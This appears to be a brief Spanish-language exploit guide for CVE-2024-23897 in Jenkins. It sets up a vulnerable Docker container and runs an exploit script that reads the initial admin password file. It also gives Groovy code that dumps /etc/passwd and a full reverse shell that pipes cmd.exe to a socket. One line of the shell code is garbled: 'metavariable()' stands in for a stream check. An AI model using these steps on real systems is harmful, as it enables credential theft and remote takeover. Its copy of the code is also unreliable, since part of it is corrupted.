Exploit-CVE-2024-23897

Ejecutar el Contenedor

docker run -p 8080:8080 --name vulnerable-jenkins -d jenkins/jenkins:2.441-jdk17

Verificar logs

docker logs <machine_name>

Obtener la IP de la máquina Docker:

docker inspect vulnerable-jenkins | grep IPAddress

Código de Explotación:

python3 exploit.py --target http://127.0.0.1:8080 --file /var/jenkins_home/secrets/initialAdminPassword --request-timeout 30

Script Groovy:

println "cat /etc/passwd".execute().text

RCE

String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(metavariable()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();